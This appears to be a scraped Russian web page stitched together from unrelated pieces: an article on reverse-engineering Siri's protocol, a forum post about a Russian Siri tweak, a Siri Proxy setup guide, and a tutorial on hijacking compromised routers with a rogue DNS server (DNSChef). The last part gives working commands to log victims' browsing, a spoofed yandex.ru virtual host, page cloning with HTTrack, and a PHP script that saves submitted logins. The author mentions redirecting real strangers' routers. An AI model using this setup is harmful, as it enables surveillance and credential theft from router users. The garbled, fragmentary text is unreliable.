Guzzoni apple com что это

Обновлено: 04.07.2024

Ребята из французской компании Applidium ровно через месяц после релиза iPhone 4S отреверсили протокол персонального помощника Siri. Ниже перевод статьи, в которой описан сам процесс реверс-инжинеринга и те интересные факты, которые открылись исследователям.

14 октября 2011 Apple представила новый iPhone 4S. Одной из новых возможностей была система Siri – персональный помощник. Siri обрабатывает запросы на естественном языке для взаимодействия с пользователем.

Apple повествовала о том, что Siri отправляет данные на удаленный сервер (вероятно, поэтому Siri только работает поверх 3G или WiFi). Как только наши руки получили новенький iPhone 4S, мы решили узнать, как эта штука работает.

Демонстрация

Этот сэмпл никогда не проходил через какой-либо iPhone, но, несмотря на это, у нас получилось заставить Siri проанализировать его для нас.

Копаемся в протоколе – краткое техническое введение

User-Agent: Assistant(iPhone/iPhone4,1; iPhone OS/5.0/9A334) Ace/1.0

Несколько интересных вещей, которые можно из этого извлечь:

Расшифровка содержания бинарных plist очень проста, вы можете сделать это на Mac OS X с помощью команды “plutil” (через командную строку). Или в Ruby с помощью gem’а CFPropertyList на любой другой платформе.

То, что мы узнали

Мы действительно узнали несколько интересных вещей о том, как iPhone 4S общается с серверами Apple:

Аудио данные

iPhone 4S действительно отсылает необработанное аудио на сервер. Оно сжато с помощью аудиокодека Speex, который имеет смысл, поскольку этот кодек специально предназначенный для VoIP.

Идентификация

IPhone 4S рассылает идентификаторы повсюду. Так что если вы хотите использовать Siri на другом устройстве, вам все равно придется иметь идентификатор, по крайней мере, одного iPhone 4S. Конечно, мы не будем публиковать наши, но его очень легко получить, используя инструменты, о которых мы уже писали. Конечно, Apple в теории может внести в черный список идентификатор, но пока вы используете его в личных целях, все должно быть в порядке.

Фактическое содержание

Протокол, на самом деле, очень, очень болтливый. Ваш iPhone посылает тонны вещей, на сервера Apple. И эти сервера отвечают ему невероятным количеством информации. Например, когда вы используете преобразование текста в речь, сервер Apple даже присылает оценку доверия и временную метку для каждого слова.

Вот коллекция инструментов, которую мы написали, чтобы помочь нам понять протокол. Они написаны, в основном, на Ruby (потому что это удивительно простой язык), некоторые части – на C, а некоторые – на Objective-C. Их разработка на самом деле не закончена, но и этого должно быть достаточного для тех, кто технически может написать Siri-приложение.

Еще одна тема о русской Siri
версия: 1.0

Последнее обновление программы в шапке: 12.05.2013

Прикрепленное изображение

Прикрепленное изображение

Прикрепленное изображение

Краткое описание:
голосовой ассистент Apple на русском языке.

Описание:
_______________________________________
Репозиторий временно переехал на MyRepoSpace, т.к. старый репозиторий работал на магии, действие которой внезапно прекратилось.
В ближайшем времени оригинальный репозиторий снова заработает.
_______________________________________

Я тут задался целью перевести Siri на русский язык так, чтобы функционал был как можно ближе к оригинальной Siri от Apple.

Проект все еще разрабатывается и в данный момент находится на стадии тестирования.
На данный момент Siri умеет отвечать на некоторые вопросы, звонить, отправлять/проверять/читать SMS и писать текст под диктовку.
Новые функции разрабатываются

Чтобы испытать русскую Siri, достаточно проследовать короткой инструкции:
Крайне рекомендую иметь прошивку 6.1-6.1.2.

После установки твика обязательно сделайте respring

Сервис все еще разрабатывается.

Команды в некоторой степени расширяемы, т.к. Siri выполняет поиск по ключевым словам. Т.е. запросы "как дела" и "расскажи мне, мой дорогой ассистент, как продвигаются твои архиважнейшие дела этим прекрасным утром" в глазах Siri идентичны, так как выполняется поиск по параметру "*как*дела*"

Если у вас появилась какая-либо идея по поводу Siri, или вы хотите добавить свой ответ - просто скажите Siri об этом.

У нас появилась группа ВКонтакте, где вы можете задать любой интересующий вас вопрос, а также следить за новостями.

Мы недавно сообщили, что разработчик @plamoni запустил прокси-сервер (Siri Proxy) на своем компьютере для «обмана» Siri. С этого момента, каждый желающий может научить Siri выполнять необходимые действия на своем компьютере. Как вы знаете, в сообществе хакеров iOS не принято скрывать полезные программы и приложения. Поэтому мы решили создать большое и достаточно объемное руководство, в котором расскажем вам как запустить Siri Proxy на iPhone 4S.

Прежде чем перейти к уроку, мы хотим сообщить вам несколько важных вещей:

Промо код на iphone в екатеринбурге

[youtube]LowzAiud0dE[/youtube]
Устанавливаем Siri Proxy
Предварительные действия

  1. Если у вас уже установлена ​​Ubuntu, это здорово! Если нет, то это тоже хорошо. Для установки используйте виртуальную машину (для Windows или Mac) Parallels 7, VMWare или VirtualBox. В этом уроке используется Parallels.
  2. Установите последнюю версию Ubuntu, если это возможно. Проверьте, что интернет работает и в виртуальной машине тоже.
  3. Установка Dropbox для обмена файлами. Это необязательный шаг, но вы должны каким-то образом передать сертификат с вашего iPhone на компьютер. Вы можете использовать электронную почту для этого, хотя, Dropbox это самый простой способ по нашему мнению.

Действия на компьютере
К каждому последующему шагу будет прикрепляться временная ссылка на видео для удобства. Просто копируйте и вставьте каждую из этих команд в терминале и следуйте дополнительным инструкциям, если они имеются.

    Выполните команду: (Время на видео 5:44)

sudo apt-get install dnsmasq ruby build-essential openssl libreadline6 libreadline6-dev curl git-core zlib1g zlib1g-dev libssl-dev libyaml-dev libsqlite3-0 libsqlite3-dev sqlite3 libxml2-dev libxslt-dev autoconf libc6-dev ncurses-dev automake libtool bison subversion

Найдите строку 62, в которой написано следующее:

После этой строки допишите:

Чтобы узнать ваш IP-адрес нужно открыть свойства сетевого подключения, как это сделать показано на видео (Время на видео 7:00)


При получении доступа к настройкам сетевого оборудования, когда физически мы находимся с ним не в одной локальной сети (по сути, когда невозможна атака человек-посередине), то одной из альтернатив может стать использование DNS прокси. Данный метод позволяет собрать разнообразную информацию и даже получить логины и пароли от сайтов. Данный метод применим, например, для каждого из роутеров в административную панель которых мы имеем доступ с помощью программы Router Scan by Stas’M.

Принцип работы DNS и фальшивого DNS

Когда мы получаем доступ к настройкам сетевого оборудования, то мы можем изменить любую информацию, в том числе и прописать адрес своего DNS сервера. Наш фальшивый DNS сервер мы можем настроить как угодно:

  • он может отсылать неверный IP для всех запросов (так мы заблокируем Интернет подключение)
  • он может отсылать неверный IP для конкретных сайтов (остальные сайты будут работать, а некоторые – нет)
  • он может отсылать IP сервера, на котором будет копия настоящего сайта, при этом при вводе логина и пароля они будут сохраняться для нас.

При этом, если мы выбрали подменять информацию только для определённых сайтов, то для всех остальных наш DNS прокси будет спрашивать верные IP у настоящего DNS сервера, а потом переправлять верный ответ.

Программы для DNS прокси

Фальшивый DNS сервер ещё называют DNS прокси. В этой заметке я буду делать на примере DNSChef, она предустановлена и в Kali Linux, и в BlackArch. Ещё одна программа с аналогичной функциональностью - dns2proxy.

Если у вас дистрибутив, в котором в репозиториях DNSChef отсутствует, то вы можете самостоятельно установить любую из этих программ. Например, в производных Debian (Linux Mint, Ubuntu) это делается так:

Ещё DNSChef прокси работает на Windows, причём даже не нужно ставить зависимости – бинарные файлы скомпилированы уже с ними. Но я в качестве сервера не использую Windows, поэтому каких-то детальных инструкций дать не могу.

Обычно, мы не можем запустить DNS прокси на нашем собственном компьютере, поскольку для работы нужно несколько условий:

  • белый IP адрес
  • постоянное подключение к Интернету
  • ОС Linux (для меня это необходимое условие)

Самым простым и очевидным решением здесь является использование VDS. Можно воспользоваться готовыми вариантами, которые не требуют настройки (Debian, Ubuntu) и установить в них DNSChef как показано чуть выше. Можно целиком загрузить туда Kali Linux, поскольку хостер поддерживает пользовательские дистрибутивы. Это всё не принципиально – DNSChef везде будет работать одинаково. Если кому-то интересно, то я в качестве удалённого сервера использую BlackArch. Детальные инструкции по его настройке вы можете найти в разделе «Arch / BlackArch как сервер» здесь.

Независимо от того, кукую ОС вы выбрали, опции командной строки для DNSChef везде одинаковые.

Запуск и остановка DNS прокси

Запускать DNSChef нужно с ключом -i после которого должен идти IP вашего сервера (вашего VDS). Если вы по какой-то причине забыли IP вашего сервера, то узнать его можно, например, так:

Также для сохранения данных в файл можно воспользоваться опцией --logfile после которой указать путь до файла для сохранения истории запросов.

Ещё до самой команды можно поставить команду nohup, а после команды символ &; это приведёт к тому, что после закрытия терминала процесс продолжит свою работу в фоне (подробности здесь). Таким образом, если у меня IP 185.117.153.79, а сохранять данные я буду в файл /root/dns.log, то моя команда имеет полный вид:

1 sudo nohup dnschef -i 185.117.153.79 --logfile=/root/dns.log &

Просматривать записываемые данные можно, например, так:

1 cat /root/dns.log

Если вы хотите остановить процесс, то узнайте его pid с помощью

Посмотрите, какой процесс прослушивает порт 53, а затем используйте команду

1 kill pid_процесса_на_порту_53

Сбор сведений, какие сайты посетил владелец роутера

Если запустить DNSChef с минимальным набором опций, например, так:

1 sudo nohup dnschef -i IP_вашего_DNS_прокси --logfile=/root/dns.log &

То DNSChef не будет оказывать никакого влияния на DNS записи. При получении DNS запроса он будет спрашивать у настоящего DNS сервера правдивые данные, а затем пересылать их запрашивающему. Таким образом, можно узнать, какие сайты были посещены.

Вносим изменения в роутер, доступ к которому мы получили. В поле Primary DNS Address я вписываю адрес своего DNS прокси и сохраняю изменения:

01

Перед тем как заменить запись на свою, обратите внимание на ту, которая там есть. Если она отличается от распространённых публичных DNS серверов (например, 8.8.8.8 и 8.8.4.4), то имеет смысл воспользоваться опцией --nameservers и указать там тот DNS, который присутствовал в настройках роутера изначально. Это очень хороший способ не выдать наше присутствие, поскольку роутер может использовать пользовательский DNS с только этому серверу известными записями (такое запросто может быть, если админ для своей локальной сети использует несуществующие домены). При этом ни наш сервер, ни сервер по умолчанию для запроса реальных данных (8.8.8.8) ничего об этих доменах не могут знать. Это может нарушить работу и пользователей роутера и выдать наше присутствие. Если же мы добавим к команде, например, --nameservers=212.109.216.106(в моём случае, IP 212.109.216.106 – это та запись, которая изначально была для первичного DNS сервера), то через наш DNS прокси запросы будут идти на тот же самый DNS, что и настроил админ. При этом мы по-прежнему сможем вести запись запросов и модифицировать ответы, т.е. на нашу работу применение этой опции никак не сказывается.

После этого начинается сбор данных:

02

Кроме сайтов, непосредственно посещённых пользователем, некоторые программы делают запросы к сайтам и веб-приложениям, они тоже в этом списке. Из «человеческих» здесь можно обратить внимание на сайты:

У кого-то установлен автоматический обновлятель драйверов

Эти записи говорят об использовании Team viewer

А DNS запросы об этих сайтах говорят об использовании техники Apple

03

Тут видно, что наконец-то люди проснулись и начали пользоваться Интернетом:

04

Надеюсь это не роутер на работе – дальше там в основном идут одни социальные сети. ))

Узнать, какие сайты посетил пользователь уязвимого роутера – это хорошо, но явно мало.

Блокировка сайтов с использованием DNS прокси

Мы можем полностью «запретить» использование Интернета отправляя вместо реальных IP неверный в ответ на все запросы. Это делается опцией --fakeip. Пример:

1 sudo nohup dnschef -i IP_вашего_DNS_прокси --fakeip 127.0.0.1 --logfile=/root/dns.log &

У конечного пользователя будет ошибка что-то вроде невозможно подключиться к DNS, сайты открываться не будут.

Можно использовать файлы, в которых прописать, к каким доменам обрывать подключения, или, наоборот, запретить доступ ко всем, кроме отдельных. Больше подобных примеров можно посмотреть здесь. Мне не хочется на этом останавливаться, т.к. какой-то выгоды от этого трудно получить, разве что заблокировать соц.сети от далёких с компьютерными технологиями людей (это легко обходиться).

Кража логинов и паролей с помощью DNS прокси

Это самая интересная часть, но и самая сложная. Кроме основ по использованию ОС Linux вы также должны владеть основами по администрированию веб-серверов, добавлению виртуальных хостов, а также уметь использовать дополнительные программы. На самом деле, чего-то очень трудного в этом нет, веб сервер уже даже может быть настроен (если вы заказали сконфигурированный Debian или Ubuntu). Как уже сказал, каких-то особых знаний здесь не требуется, это просто нужно уметь делать.

Начинаю с создания папки:

примерно следующего содержания

12345678910111213141516 <VirtualHost *:80> DocumentRoot "/var/web/yandex.ru" ServerName yandex.ru ServerAdmin you@example.com ErrorLog "/var/log/httpd/localhost-error_log" TransferLog "/var/log/httpd/localhost-access_log" <Directory /> Options +Indexes +FollowSymLinks +ExecCGI AllowOverride All Order deny,allow Allow from allRequire all granted</Directory> </VirtualHost>

Действительно важными здесь являются строки (первая указывает физическое расположение папки с сайтом, вторая – имя, которое сервер будет сопоставлять с папкой на сайте):

Расположение логов вы можете настроить по своему желанию.

После этого перезапустите веб-сервер:

Проверить наш виртуальный хост мы пока не можем, поскольку нам нужно настроить DNSChef, чтобы он отправлял IP нашего подложного сервера вместо оригинального. Останавливаем DNSChef. И заново запускаем его примерно такой командой:

Например, конкретная команда в моём случае:

Я не собираюсь воровать чьи-либо учётные данные (по крайней мере сейчас), поэтому случайно выбранных «жертв» я отключаю от своего DNS, возвращаю им оригинальные записи и дальше продолжаю тренироваться в лабораторных условиях.

08

Этого явно недостаточно для получения логина и пароля. Нам нужно задействовать что-то вроде Social-Engineer Toolkit (SET). К сожалению, именно в этой ситуации SET не способна помочь. Она делает клон только HTML страницы сайта, а картинки, скрипты и прочее подгружает с оригинального. В нашем случае, ничего с оригинального сайта загружено быть не может, поскольку обращения будут идти к нашему веб-серверу, на котором никаких картинок и других необходимых файлов нет. Т.е. страница будет открываться, но выглядеть она будет очень неестественно.

Нам способна помочь программа HTTrack. Давайте создадим каталог и в нём сделаем полный клон одной страницы сайта:

Теперь мы перенесём наш клон в директорию виртуального хоста:

При попытке открыть теперь всё будет выглядеть весьма достойно (хотя данные больше не обновляются и отсутствует реклама):

Нам нужно отредактировать файл, чтобы данные для входа отправлялись на наш сервер файлу, который для этого предназначен. Нужно базовое знание HTML разметки или хотя бы понимание, как работает отправка через формы, поскольку у каждого сайта нужно изменить свою строку, отличающуюся от других. Открываем файл

1 action="https://passport.yandex.ru/passport?mode=auth&amp;retpath=https://mail.yandex.ru"

нужно заменить на строку вида

1 action="/файл_сохраняющий_пароли"

В моём случае (файл для сохранения паролей post.php) строка имеет вид:

1 action="/post.php?mode=auth&amp;retpath=https://mail.yandex.ru"

На всё, что идёт после вопросительного знака можно не обращать внимание – в подобных случаях это не оказывает никакого влияния.

Ещё нам нужен сам файл post.php, который будет принимать и сохранять логины и пароли:

Пишем туда примерно такое:

1 <?php $file = 'gotit.txt';file_put_contents($file, print_r($_POST, true), FILE_APPEND);?>Error occurred.

Вводим свои учётные данные для проверки. Обратите внимание, что на страницах работает автозаполнение! Т.е. веб-браузер уверен, что страница загружена с истинного сервера.

10

11

Статья не может быть бесконечной, поэтому здесь она кончается, но ещё можно было бы поговорить о:

Читайте также: